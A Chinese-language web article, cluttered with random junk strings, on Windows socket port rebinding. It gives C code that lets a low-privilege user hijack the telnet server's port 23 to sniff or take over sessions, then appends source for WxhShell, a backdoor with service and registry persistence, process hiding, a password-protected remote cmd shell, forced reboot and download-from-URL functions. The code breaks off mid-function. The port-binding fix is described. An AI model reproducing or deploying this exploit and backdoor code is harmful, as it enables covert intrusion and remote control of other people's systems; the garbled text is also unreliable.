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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6IRzm6d s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?mM6[\DFoT ;<^t)8E saddr.sin_family = AF_INET; ?
}t[ -bJC+Yn saddr.sin_addr.s_addr = htonl(INADDR_ANY); DX|yL!4[ d^-sxl3} bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8<#S:O4kA iH&BhbRu_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b@9>1d$ $/R r|< 这意味着什么?意味着可以进行如下的攻击: L`"B;a& slPLc 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t^ax:6;"|
a@mMa { 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %v)m&VUi% Fke_ms=I^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r*I u6 @xu/&pbI 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 *21foBfqh ^j-w^)@T 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zI$24L9* )TH~Tq: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6xfG`7Az "V7
SB 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s01W_P .@R >S]_{pb #include U`25bb1Wj #include H6fR6Kr4j #include XMJ EIG #include sD_" DWORD WINAPI ClientThread(LPVOID lpParam); .PAR int main() 4I %/}+Q { =A yDVWpE WORD wVersionRequested; 335\0~;3 DWORD ret; aM2[<m} WSADATA wsaData; *Y!c6eA BOOL val; 9bE/7v SOCKADDR_IN saddr; zG%ZDH^82_ SOCKADDR_IN scaddr; 'OERW|BO int err; cbHb!Lbg SOCKET s; ueimTX k SOCKET sc; yEvuTgDv int caddsize; DnY7$']"| HANDLE mt; PNn-@=% DWORD tid; 9gS.G2 wVersionRequested = MAKEWORD( 2, 2 ); B^{87YR err = WSAStartup( wVersionRequested, &wsaData ); J3;dRW if ( err != 0 ) { w
=MZi=p printf("error!WSAStartup failed!\n"); R3`Rrj Z return -1; orU++,S4Pm } \Gzo^w saddr.sin_family = AF_INET; F|ib=_)3 ww0m1FzX //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fBZ\, 3aK/5)4|B saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >WKlR` J% saddr.sin_port = htons(23); (l~3~n if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;:0gN|+ { @['4 X1pqt printf("error!socket failed!\n"); q/|WkV `m return -1; hhZUE] } XyM?Dc5, val = TRUE; Ku
W$ //SO_REUSEADDR选项就是可以实现端口重绑定的 `/1Zy}cD if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^KK9T5H { Dq~PxcnI printf("error!setsockopt failed!\n"); HDTdOG) return -1; m{ya%F } ^Z9v_qB //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .W9/*cZV0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cdH Ug# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~w>Z !RuhT Ob|[/NN if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l:Y$A$W]> { :2n(WXFFI ret=GetLastError(); 1.5lJ:[G printf("error!bind failed!\n"); '
YONRha return -1; S dI/ } N]p|c3D listen(s,2); wn$:L9"YN while(1) 4-YXXi} { c=-2c&=& caddsize = sizeof(scaddr); q|8p4X}/] //接受连接请求 wu2AhMGmw sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h/CF^0m"! if(sc!=INVALID_SOCKET) 0 CJ4]mYl { ji &*0GJQ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bhFAt1h if(mt==NULL) rI[Lg0S { ]:Q7Gys printf("Thread Creat Failed!\n"); }PR^Dj. break; K%p*:P } Gn
]%'lrg' } fGv`.T _d CloseHandle(mt); F[
Itq } P'nbyF closesocket(s); MKuy?mri~ WSACleanup(); GW(-'V/ return 0; -CTsB)=\, } >Kd(.r[Er DWORD WINAPI ClientThread(LPVOID lpParam) jZ'y_ { <N{pMz SOCKET ss = (SOCKET)lpParam; FZ)Y<r8|s SOCKET sc; 7{vnhl(Z unsigned char buf[4096]; ~YuRi#CTD: SOCKADDR_IN saddr; C+WHg-l long num; ; md{T' DWORD val;
aE_)iE| DWORD ret; u%#s_R //如果是隐藏端口应用的话,可以在此处加一些判断 IXSCYqoK //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 '9,14e6 saddr.sin_family = AF_INET; lB\"*K; saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P80z@! saddr.sin_port = htons(23); jH*+\:UP- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z{ntF { Cf_Ik printf("error!socket failed!\n"); aBM'ROQ return -1; #"M 'Cs } ax0:v!,e val = 100; |U_48 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y\
nR0m { C { }s ret = GetLastError(); 4*UoTE-g$ return -1; ifu"e_^ } l|-TGjsX if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "9[K { >4d2IO1\ ret = GetLastError(); y*M,&,$ return -1; Q<L.!%vu} } ,EgIH%*g if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
*it(o { ];P^q`n=. printf("error!socket connect failed!\n"); c;w~ -7Q*| closesocket(sc); JH~v e closesocket(ss); HrA6wn\O return -1; hfY
Ieb#91 } jl<rxO?-F while(1) Rk
PY@> { 6e@
O88= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 AJrwl^lm //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~6'6v8 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P,"z num = recv(ss,buf,4096,0); lLHHuQpuj if(num>0) S^
?OKqS send(sc,buf,num,0); 1K'0ajl1A else if(num==0) q{UP_6OF break; %PG::b num = recv(sc,buf,4096,0); y(:hN) if(num>0) `4cs.ab send(ss,buf,num,0); r'hr'wZ else if(num==0) z[Kxy1, break; `hM:U } Ep}KIBBO closesocket(ss); O.=~/!( closesocket(sc); %E7+W{?*1 return 0 ; US)wr } ->}K- n ), qEE3x>&T] Z*kGWL ========================================================== i:WHql"Kw_ v@k62@; 下边附上一个代码,,WXhSHELL ~?vm97l =JyYU*G4 ========================================================== )2oWoZvi9 FTt7o'U #include "stdafx.h" DR9M8E M[_~7~4 #include <stdio.h> =~Jv*c #include <string.h> zQ
{g~x #include <windows.h> \%NhggS* #include <winsock2.h> @+} Q< #include <winsvc.h> ) BTJs)E #include <urlmon.h> ? 9i7+Y" ~}4o=O( #pragma comment (lib, "Ws2_32.lib") ^ h^2='p #pragma comment (lib, "urlmon.lib") +byw*Kk 8'*z>1ZS5 #define MAX_USER 100 // 最大客户端连接数 BzA(yCu$: #define BUF_SOCK 200 // sock buffer "zw?AC6 #define KEY_BUFF 255 // 输入 buffer G=3/PYp H/Goaf% #define REBOOT 0 // 重启 ~GfcI:Zz& #define SHUTDOWN 1 // 关机 <uL?7P >w9)c| #define DEF_PORT 5000 // 监听端口 W.\HfJ74 i#1T68y} #define REG_LEN 16 // 注册表键长度 Qd!;CoOmZs #define SVC_LEN 80 // NT服务名长度 44?5]C7 6!bA~"N // 从dll定义API (k
M\R| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xr M[8a typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v%&f00 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C3 0b}2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i TD}gC "JVzv U] // wxhshell配置信息 D +)6#i
Y struct WSCFG { P,iLqat int ws_port; // 监听端口 )X\.Xr-6q char ws_passstr[REG_LEN]; // 口令 5DyN=[b int ws_autoins; // 安装标记, 1=yes 0=no ER5Q` H char ws_regname[REG_LEN]; // 注册表键名 S
M98 7Y!B char ws_svcname[REG_LEN]; // 服务名 qB]z"Hfq, char ws_svcdisp[SVC_LEN]; // 服务显示名 |gxU;"2`5~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 2>fG}qYy$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yL.si)h(p int ws_downexe; // 下载执行标记, 1=yes 0=no lIzJO$8cM char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" [p!C+|rro char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gKb4n
Nt K;6K!6J:[ }; tb/u@}") FPMhHHM // default Wxhshell configuration 4,s: G.g struct WSCFG wscfg={DEF_PORT, qvYYKu "xuhuanlingzhe", ~c?yHpZx% 1, ~uC4>+dk "Wxhshell", /l+x&xYD "Wxhshell", "XC6 l4Z "WxhShell Service", H
gNUr5p "Wrsky Windows CmdShell Service", <
q;] "Please Input Your Password: ", ;
tvB{s_ 1, OM!ES%c, " http://www.wrsky.com/wxhshell.exe", (:+IS
W "Wxhshell.exe" h,140pW }; 4C01=,6ye !kASEjFz|f // 消息定义模块 .&@|)u char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >w
j7Y` char *msg_ws_prompt="\n\r? for help\n\r#>"; y13=y}dyDH char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; O|y-nAZgU char *msg_ws_ext="\n\rExit."; tO[+O=d char *msg_ws_end="\n\rQuit."; FN,0&D}` char *msg_ws_boot="\n\rReboot..."; 0A?w,A`" char *msg_ws_poff="\n\rShutdown..."; s7xRry char *msg_ws_down="\n\rSave to "; ~g|e?$j h%=b"x char *msg_ws_err="\n\rErr!"; xA!o"VZPq7 char *msg_ws_ok="\n\rOK!"; Z(as@gjH `t!iknOQ$ char ExeFile[MAX_PATH]; }lpcbm int nUser = 0; niy@' HANDLE handles[MAX_USER]; kOdS^- int OsIsNt; @z/]!n\~ 3<mv9U( SERVICE_STATUS serviceStatus; \|62E):i1 SERVICE_STATUS_HANDLE hServiceStatusHandle; Go`omh
b o4~ft!> // 函数声明 3sp*.dk int Install(void); 34;c00 int Uninstall(void); m\Tq0cT$ int DownloadFile(char *sURL, SOCKET wsh); $d8A_CUU int Boot(int flag); -'}iK6 void HideProc(void); ['s_qCA[ int GetOsVer(void); mH{cGu? int Wxhshell(SOCKET wsl); >P0AGZ void TalkWithClient(void *cs); ]NFDE-Jz] int CmdShell(SOCKET sock); G=nFs)z int StartFromService(void); :!} zdeRJ int StartWxhshell(LPSTR lpCmdLine); lC_zSmT E0O{5YF^T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FJ U)AjS~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); .k*2T<p$rC )D[xY0Y~ // 数据结构和表定义 }7.q[ ^oF SERVICE_TABLE_ENTRY DispatchTable[] = akCl05YW { M;iaNL( {wscfg.ws_svcname, NTServiceMain}, l?FNYvL {NULL, NULL} C>K/C!5? }; _ZS<zQ' t9`NCng
5 // 自我安装 \~?s= LT int Install(void) E?9_i
:IX { 1MahFeQ[ char svExeFile[MAX_PATH]; \pzvoj7{ HKEY key; vq5I 2 strcpy(svExeFile,ExeFile); xrX("ili O4E2)N // 如果是win9x系统,修改注册表设为自启动 6wu/6DO if(!OsIsNt) { ]@8=e'V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hYWWvJ)S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %[Ds-my2 RegCloseKey(key); I^ >zr.zA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &9ZIf#R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H~G=0_S RegCloseKey(key); CqX%V":2 return 0; =OHDp7GXO> } d.}rn"(z } ^|K*lI/ } S}<
<jI-z else { #TSM#Uqe C,<TAm // 如果是NT以上系统,安装为系统服务 _:K}DU'6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jU#%@d6!# if (schSCManager!=0) 7J;.T%4l { Q-au)R, SC_HANDLE schService = CreateService 3+$O#> ( B}FF |0< schSCManager, nWl0R= wscfg.ws_svcname, 785iY865 wscfg.ws_svcdisp, r9t{/})A SERVICE_ALL_ACCESS, *FE<'+% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [ho'Pc3A< SERVICE_AUTO_START, Z*QRdB%, SERVICE_ERROR_NORMAL, 6,h<0j{ svExeFile, jF5JpyOc NULL, y@Or2bO# NULL, 'q-h
kN NULL, .F6#s NULL, Y~:7l5C NULL kL3=7t^ 1 ); nSC>x:jY5/ if (schService!=0) X@G`AD'.M { 1k~jVC2VA CloseServiceHandle(schService); 8xv\Zj + CloseServiceHandle(schSCManager); }rQ*!2Y? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G`P+J strcat(svExeFile,wscfg.ws_svcname); ;8v5 qz if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'oEmbk8Hg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $+);!?^|: RegCloseKey(key); ie,{C return 0; 950b9Vn& } 2X]\:<[4 } B>mQ\Q CloseServiceHandle(schSCManager); <>:kAT,sP } M@K[i*e } 5a~1RL *o#`l H return 1; \wCL)t.cX } Ii8jY_ P}I*SV0 // 自我卸载 *,pqpD> int Uninstall(void) h`Mf;'P { x V e! HKEY key; CP'-CQ\Q B::? if(!OsIsNt) { "osYw\unI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dWUu3 RegDeleteValue(key,wscfg.ws_regname); 'YeJGzsJp RegCloseKey(key); OG+ $F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { re!CF8
q RegDeleteValue(key,wscfg.ws_regname); QHh#O +by# RegCloseKey(key); ~h/U ;Da return 0; <f6Oj`{f4 } O`=Uq0Vv } FdqUv%(Em } U_~~PCi else { f,#xicSB* ]5\vYk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x'qgpG}?] if (schSCManager!=0) )'g vaT { GND[f} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g;h&Xkp if (schService!=0) <gy'@w? { 0d2%CsMS"D if(DeleteService(schService)!=0) { tFQFpbI CloseServiceHandle(schService); z|2liQrf+ CloseServiceHandle(schSCManager); KOQTvJ_# return 0; Qi61(lK } 3C2> CloseServiceHandle(schService); &M!:,B } "mf;k^sqS CloseServiceHandle(schSCManager); Xy{+=UY } #o RUH8 } Sf8d|R@O E(8g(?4 return 1; vn<S" } rBf?kDt6l Ydx5kUJV< // 从指定url下载文件 ;k8}D*?8 int DownloadFile(char *sURL, SOCKET wsh) }0(
Na { SD&[K
8-i2 HRESULT hr; 9 ?8`"v char seps[]= "/"; 3^Zi/r char *token; ?q P}=nJ char *file; :9b RuUm char myURL[MAX_PATH]; NP8TF*5V char myFILE[MAX_PATH]; /HRaX!|E# x_K% strcpy(myURL,sURL); ~ #CCRUhM token=strtok(myURL,seps); )YFs while(token!=NULL) 1%,Z&@^j { l_c?q"X file=token; lu_Gr=#O token=strtok(NULL,seps); CkU=0mcY } : [y(<TLw m"R(_E5 GetCurrentDirectory(MAX_PATH,myFILE); * 5n:+Tw( strcat(myFILE, "\\"); J%)2,szn0 strcat(myFILE, file); w%;'uN_ send(wsh,myFILE,strlen(myFILE),0); 5[_8N{QC; send(wsh,"...",3,0); o1Ln7r. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zTLn*? if(hr==S_OK) Pcs@`&}7r return 0; Q-v[O4y~ else lND[anB! return 1; 3p4?-Dd|_$ :3f2^(b~^ } &}O!l' jvQ"cs$. // 系统电源模块 }H=OVbQor int Boot(int flag) e`r;`a& { {P&^Erx HANDLE hToken; o2 TOKEN_PRIVILEGES tkp; wY#mL1dF ydQS"]\g if(OsIsNt) { p0K;m% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~\ f^L?m LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UsN b&aue tkp.PrivilegeCount = 1; lG9ARRy(= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b U NYTF{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rLxX^[Fp3 if(flag==REBOOT) { _GqE'VX if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1!3kAcBP return 0; +`8)U 3u0 } "N]o5d else { wVDB?gy%# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $8k_M return 0; keskD } NrcCUZ .:N } @'@6vC else { SWpUVZyd if(flag==REBOOT) { \BXVWE| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OU@x1G{Cy return 0; V%lGJ]ZEa } :N*T2mP else { =joXP$n^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j_@3a)[NY return 0; K"7;Y#1g } K/`RZ! } z :v, Vu vLv@ Mo return 1; -G#k/Rz6 } sG2 3[t8 E]U0CwFtr // win9x进程隐藏模块 `Xdxg\| void HideProc(void) KVxb"|[ { /T)n5X 1m;*fs HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <C;>$kX if ( hKernel != NULL ) sdYj'e:N { e oSM@Isu pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |SKG4_wGe ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z \>X[yNpA FreeLibrary(hKernel); x9l0UD*+g } mo[<4Uks ^G&D4uZ return; ?K {1S } JZ/O0PW ii
y3 // 获取操作系统版本 W'h0Zg int GetOsVer(void) S.|kg2 { AYIz;BmWy OSVERSIONINFO winfo; <[:7#Yo
g winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2pa3}6P+ GetVersionEx(&winfo); PlH`(n# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $'YKB8C return 1; ggc?J<Dv else
x9"4vp return 0; |qcFmy } 2BX GVo f&|A[i>g // 客户端句柄模块 (%y c5+f! int Wxhshell(SOCKET wsl) !]+Z%ed`% { 5!jNL~M SOCKET wsh; > '
0 ][~ struct sockaddr_in client; 6h6?BQSE DWORD myID; wZ8 MhE kN|5
J while(nUser<MAX_USER) ]/Yy-T#@ { dyiEK)$h int nSize=sizeof(client); ?%/u/*9rj wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X2dc\v.x if(wsh==INVALID_SOCKET) return 1; ^y0C5Bl; 7[v@*/W@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !{tiTA if(handles[nUser]==0) s^YTI\L
\ closesocket(wsh); }BdVD t else %m{.l4/!O nUser++; Qy5Os?9" } D?yE$_3>c WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H9VXsFTW |\|)j>[i return 0; b>=Wq } dMs||&|& {{*]bGko // 关闭 socket AXP`,H void CloseIt(SOCKET wsh) E<Dh_K { 6QLQ1k` closesocket(wsh); BCUt`;q ]B nUser--; BBR"HMa4 ExitThread(0); ,ah*!Zm.kk } fA_%8CjI =Y/fF // 客户端请求句柄 .^~l_LkA void TalkWithClient(void *cs) u}}9j&^Xa { Z%5nVsm:G 0GX10*t. SOCKET wsh=(SOCKET)cs; 4s~HfxYT char pwd[SVC_LEN]; =v4r M0m, char cmd[KEY_BUFF]; >$naTSJq char chr[1]; 4[#6<Ixf int i,j; AwXt @!( !Wixs]od
while (nUser < MAX_USER) { + sywgb) &^7uv0M<y if(wscfg.ws_passstr) { /X^3=-{8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yw.~trF&% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +rsl(
08FY //ZeroMemory(pwd,KEY_BUFF); g6VD_ i=0; J,0pe\5 while(i<SVC_LEN) { @>G&7r:U o"#TZB+k // 设置超时 }B=qH7u.K fd_set FdRead; 2:iYYRrg struct timeval TimeOut; |ck
ZyDA FD_ZERO(&FdRead); & &" 'dL FD_SET(wsh,&FdRead); Lo9G4Cu TimeOut.tv_sec=8; t1w2u.] TimeOut.tv_usec=0; UOWIiu int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :'y{dbKp" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <r<Dmn|\a j!x<QNNX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J-tq8 pwd =chr[0]; J0Hm)* if(chr[0]==0xd || chr[0]==0xa) { J1tzHa6 pwd=0; R+{^@M&
break; Y@]);MyL } HkdN=q i++; #7] o6 } W(2+z5 z qE0FgqRB // 如果是非法用户,关闭 socket <mZrR3v'D if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X
a"XB } lI4J=8O0 Q+b.-iWR send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >+:r ' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mQJ4;BJw 2y+70(E1 while(1) { _{e&@d qRPc%" ZeroMemory(cmd,KEY_BUFF); $N;"}Gz >*`>0Q4y // 自动支持客户端 telnet标准 ?dsf@\ j=0; 3>Q@r>c while(j<KEY_BUFF) { ADYx.8M|9i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8cK\myn. cmd[j]=chr[0]; =w^TcV if(chr[0]==0xa || chr[0]==0xd) { lf%b0na?r cmd[j]=0; s(AJkO'` break; |66m` < } fJLf7+q j++; #\pP2
} H(15vlOD cy) k<?, // 下载文件 I9}+(6 if(strstr(cmd,"http://")) { :tMre^oP send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3P//H88LY if(DownloadFile(cmd,wsh)) [d4,gEx`Q\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ORowx,(hX else vWU%ST send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '7xxCj/* } ':l"mkd+` else { f?%qUD_# `'p`PyMt` switch(cmd[0]) { (2z%U m|]j'g?{}( // 帮助
3L%WVCB case '?': { ,IIZXl@ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J` w]}GlH break; T3PX gL)o } ^|wT_k\ // 安装 2GSgG.%SSM case 'i': { la'e[t7 if(Install()) Z#-k.|} send(wsh,msg_ws_err,strlen(msg_ws_err),0); `n
3FT= else \F 3C=M@: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M#OHY* break; j%p CuC&" } =/6p#d*0 // 卸载 M^z=1YrMd case 'r': { i?F[||O"$ if(Uninstall()) =~J"kC send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ njx7d else XtCoX\da send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %_R$K#T^, break; 3->,So0Y } y7/PDB\he // 显示 wxhshell 所在路径 }0QN[$H! case 'p': { k/G7.)C char svExeFile[MAX_PATH]; 'pan9PW
strcpy(svExeFile,"\n\r"); XwcMt r* strcat(svExeFile,ExeFile); 3 brb*gI_b send(wsh,svExeFile,strlen(svExeFile),0); a3Y{lc#z} break; )ZHc$+fU } &yE1U#J( // 重启 $+Vmwd; case 'b': { '!!e+\h# send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sv7 i! j if(Boot(REBOOT))
bRNK.[| send(wsh,msg_ws_err,strlen(msg_ws_err),0); @]f3|>I else { u7HvdLql closesocket(wsh); %y iD~& ExitThread(0); h$70H ^r } 9b1?W?" break; Bi e?M } ##H;Yb // 关机 Y}ng_c case 'd': { e
RA7i send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dFQo if(Boot(SHUTDOWN)) `gt:gx>a send(wsh,msg_ws_err,strlen(msg_ws_err),0); AHwG<k else { &i5:)d]L closesocket(wsh); Yp*,Jp1 ExitThread(0); :
(gZgMT } #+9rjq:v#] break; Y
%K~w } R'SBd}1 // 获取shell ,eDD:#)$} case 's': { R:"+ #Sq CmdShell(wsh); Z!=L closesocket(wsh); ;)?( 2
wP ExitThread(0); AH^e]<2- break; 5G#$c'A{4 } 6mCq/$ // 退出 :G -1YA case 'x': { F;u7A]H^ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &y70 CloseIt(wsh); s2%V4yy% break; 8h|M!/&2 } `mzb(bE // 离开 2{-!E ^g case 'q': { Vo,[EVL send(wsh,msg_ws_end,strlen(msg_ws_end),0); Edw2W8 closesocket(wsh); QBoFpxh= WSACleanup(); Pp+~Cir exit(1); "V4Q2T
T break; vt.P*Z5 } }taLk@T } y}N&/}M:}8 } qe$33f* j$Nf%V 6Y // 提示信息 (S|a 9# if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QdDObqVdy } 9~c~E/4! } 1"?]= j:
:Hk_8J return; /v|Onq1Y4 } _1
pDA /Pvk),ca // shell模块句柄 :&qhJtGo int CmdShell(SOCKET sock) yl$F~e1W { O2.'- STARTUPINFO si; >7'+ye6z ZeroMemory(&si,sizeof(si)); O$qtq(Q% si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /kB|1gFj si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DtWx r PROCESS_INFORMATION ProcessInfo; Q(Gyq:L=> char cmdline[]="cmd"; ([R")~`(l2 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X4wH/q^ return 0; (WRMaI72( } Fu7M0X'p fN)x#? // 自身启动模式 o@W_ai_ int StartFromService(void) {~N3D4n^ { H z@h0+h typedef struct IkDiT63]I { ;~+]! U DWORD ExitStatus; E9+ HS DWORD PebBaseAddress; sWHyL(C@ DWORD AffinityMask; Izn
T|l^ DWORD BasePriority; <sX VW ULONG UniqueProcessId; K]/Od ULONG InheritedFromUniqueProcessId; h/2/vBs } PROCESS_BASIC_INFORMATION; rkDi+D6`q
l{$[}< PROCNTQSIP NtQueryInformationProcess; GqLq gns {6*#3m
